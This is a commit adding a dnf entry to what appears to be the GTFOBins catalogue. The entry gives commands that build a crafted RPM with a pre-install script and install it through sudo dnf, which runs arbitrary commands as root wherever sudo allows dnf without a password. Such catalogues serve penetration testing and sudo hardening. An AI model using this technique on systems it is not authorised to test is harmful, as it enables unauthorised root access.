Add dnf thanks to https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/ as in #51

_gtfobins/dnf.md

@@ -0,0 +1,13 @@
+---
+functions:
+  sudo:
+    - description: |
+        It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
+        ```
+        TF=$(mktemp -d)
+        echo 'id' > $TF/x.sh
+        fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
+        ```
+      code: |
+        sudo dnf install -y x-1.0-1.noarch.rpm
+---